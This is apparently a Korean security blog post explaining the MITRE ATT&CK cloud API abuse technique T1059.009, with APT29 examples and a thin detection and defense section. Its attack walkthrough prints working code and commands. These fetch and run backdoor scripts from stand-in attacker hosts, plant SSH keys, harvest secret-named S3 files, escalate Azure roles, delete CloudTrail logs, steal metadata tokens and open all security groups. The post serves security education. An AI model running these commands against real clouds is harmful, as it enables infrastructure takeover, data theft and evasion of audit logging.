COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE T1059.009 Cloud API 공격 기법의 동작 원리를 분석한다. APT29 사례로 보는 클라우드 API 악용 방법과 5가지 탐지 전략을 제시한다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
클라우드 환경의 API는 테넌트의 거의 모든 측면에 대한 프로그래밍 방식 접근을 제공하며, 적절한 권한만 있으면 공격자는 이를 악성 목적으로 남용할 수 있다. MITRE ATT&CK Framework의 T1059.009는 공격자가 클라우드 API를 명령 실행 도구로 활용하는 기법을 정의한다.
과거 온프레미스 환경에서 공격자는 물리적 서버에 직접 접근하거나 네트워크를 침투해야 했다. 서버 관리는 SSH, RDP 같은 원격 접속 도구에 의존했고, 각 시스템마다 개별적인 접근이 필요했다. 이는 공격자에게도 마찬가지로 복잡한 과정이었다.
클라우드 환경이 확산되면서 상황이 완전히 바뀌었다. 이제 단일 API 엔드포인트를 통해 수백 개의 가상머신, 데이터베이스, 스토리지를 한 번에 제어할 수 있게 되었다. 공격자 관점에서 보면, 하나의 API 키만 탈취하면 전체 인프라를 장악할 수 있는 '황금 열쇠'를 얻는 셈이다.
T1059.009의 핵심: 클라우드 API를 명령 실행 인터페이스로 악용하여 대규모 환경을 효율적으로 장악하는 것이다.
Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. — MITRE ATT&CK T1059.009
T1059.009는 공격자가 클라우드 제공업체의 API를 악용하여 악성 명령을 실행하는 기법이다. 정상적인 관리 작업을 위해 설계된 API를 공격 도구로 전환하는 것이 핵심이다.
| 용어 | 설명 |
|---|---|
| Cloud API | 역할: 프로그래밍 방식 클라우드 제어 / 접근 방식: HTTP REST 요청 / 탐지 난이도: 높음 (정상 트래픽과 유사) |
| Cloud CLI | 역할: 명령줄 도구 / 접근 방식: 로컬/원격 터미널 / 탐지 난이도: 중간 (명령 히스토리 추적 가능) |
| Cloud Shell | 역할: 브라우저 기반 셸 / 접근 방식: 웹 인터페이스 / 탐지 난이도: 낮음 (세션 로그 존재) |
| SDK | 역할: 애플리케이션 통합 / 접근 방식: 프로그래밍 라이브러리 / 탐지 난이도: 높음 (애플리케이션 로직에 숨김) |
| Infrastructure as Code | 역할: 인프라 자동화 / 접근 방식: 선언적 템플릿 / 탐지 난이도: 중간 (코드 리뷰로 탐지) |
공격자는 먼저 클라우드 환경에 접근할 수 있는 자격증명을 확보해야 한다.
POST /oauth2/token HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials&
client_id=탈취한_애플리케이션_ID&
client_secret=탈취한_시크릿&
scope=https://management.azure.com/.default
주요 획득 방법:
획득한 자격증명의 권한 범위를 파악한다.
import boto3
# AWS 환경 정찰
def reconnaissance():
# 현재 계정 정보 확인
sts = boto3.client('sts')
identity = sts.get_caller_identity()
# IAM 권한 나열
iam = boto3.client('iam')
policies = iam.list_attached_user_policies(
UserName=identity['Arn'].split('/')[-1]
)
# 접근 가능한 리소스 탐색
ec2 = boto3.client('ec2')
instances = ec2.describe_instances()
return {
'account_id': identity['Account'],
'user_arn': identity['Arn'],
'policies': policies,
'instances': instances
}
클라우드 API를 통해 다양한 악성 작업을 수행한다.
3-1. 컴퓨팅 리소스 조작
{
"method": "POST",
"url": "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group}/providers/Microsoft.Compute/virtualMachines/{vm-name}/runCommand",
"body": {
"commandId": "RunShellScript",
"script": [
"curl -s http://공격자서버/backdoor.sh | bash",
"echo '공격자_ssh_키' >> ~/.ssh/authorized_keys"
]
}
}
3-2. 데이터 접근 및 유출
# S3 버킷 데이터 대량 다운로드
def exfiltrate_data():
s3 = boto3.client('s3')
# 모든 버킷 나열
buckets = s3.list_buckets()
for bucket in buckets['Buckets']:
# 민감한 파일 검색
objects = s3.list_objects_v2(
Bucket=bucket['Name'],
Prefix='',
MaxKeys=1000
)
for obj in objects.get('Contents', []):
if any(keyword in obj['Key'].lower()
for keyword in ['password', 'secret', 'key', 'config']):
# 외부로 전송
s3.download_file(bucket['Name'], obj['Key'], f"/tmp/{obj['Key']}")
3-3. 권한 확대 및 지속성 확보
# Azure CLI를 통한 권한 에스컬레이션
az role assignment create \
--assignee 공격자_계정_ID \
--role "Owner" \
--scope "/subscriptions/구독_ID"
# 새로운 서비스 주체 생성
az ad sp create-for-rbac \
--name "정상적으로_보이는_이름" \
--role "Contributor" \
--scopes "/subscriptions/구독_ID"
# CloudTrail 로그 삭제
def evade_detection():
cloudtrail = boto3.client('cloudtrail')
# 로깅 비활성화
cloudtrail.stop_logging(Name='arn:aws:cloudtrail:region:account:trail/trail-name')
# 기존 로그 삭제
s3 = boto3.client('s3')
s3.delete_object(
Bucket='cloudtrail-logs-bucket',
Key='AWSLogs/account-id/CloudTrail/'
)
공격자는 클라우드 API의 다음 특성을 악용한다:
시나리오 1: Managed Identity 악용
Azure 환경에서 공격자는 VM의 Managed Identity를 악용한다:
# Azure VM 내부에서 메타데이터 서비스 접근
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# 응답으로 받은 토큰으로 다른 리소스 접근
az login --identity
az vm list --output table
시나리오 2: Lambda 함수를 통한 횡적 이동
AWS에서 Lambda 함수의 IAM 역할을 악용:
import json
import boto3
def lambda_handler(event, context):
# 공격자가 삽입한 악성 코드
ec2 = boto3.client('ec2')
# 모든 보안 그룹을 인터넷에 개방
security_groups = ec2.describe_security_groups()
for sg in security_groups['SecurityGroups']:
ec2.authorize_security_group_ingress(
GroupId=sg['GroupId'],
IpPermissions=[{
'IpProtocol': '-1',
'IpRanges': [{'CidrIp': '0.0.0.0/0'}]
}]
)
return {'statusCode': 200}
APT29(Cozy Bear) 그룹은 T1059.009 기법을 활용하여 여러 조직의 클라우드 환경을 침투했다. 이들은 주로 다음과 같은 방식을 사용한다:
1. PowerShell Gallery 공급망 공격
PowerShell Gallery의 취약점을 악용하여 악성 모듈을 배포한다. 타이포스쿼팅 기법으로 인기 모듈과 유사한 이름을 사용한다:
Az.Table → 악성: AztableAzureAD → 악성: Azure.AD2. Cloud Shell 환경 악용
브라우저 기반 Cloud Shell은 사전 인증된 환경을 제공하므로 추가 인증 없이 API를 호출할 수 있다:
# Azure Cloud Shell에서
az account list # 접근 가능한 구독 확인
az vm run-command invoke \
--resource-group myRG \
--name myVM \
--command-id RunShellScript \
--scripts "wget http://evil.com/backdoor.sh -O - | bash"
탐지 메커니즘
비정상 API 호출 패턴 모니터링:
권한 사용 이상 징후:
CloudTrail/Activity Log 분석:
{
"eventName": "RunInstances",
"sourceIPAddress": "의심스러운_IP",
"userAgent": "python-requests/2.25.1",
"errorCode": null,
"requestParameters": {
"instanceType": "c5.24xlarge",
"imageId": "ami-악성이미지"
}
}
방어 체크리스트
최소 권한 원칙 적용:
API 키 보안 강화:
모니터링 및 로깅:
네트워크 보안:
T1059.009 Cloud API 공격은 클라우드 환경의 편의성을 역이용하여 대규모 인프라를 효율적으로 장악하는 정교한 공격 기법이다. 공격자는 단일 API 키만으로도 전체 클라우드 환경을 제어할 수 있으며, 정상적인 관리 트래픽으로 위장하여 탐지를 회피한다.
이 공격의 핵심은 클라우드 API의 강력함과 접근성을 악용하는 것이다. OAuth 2.0 기반 인증의 취약점부터 시작하여 PowerShell 기반 실행까지 다양한 기법이 연계된다.
앞으로 살펴볼 관련 주제들:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.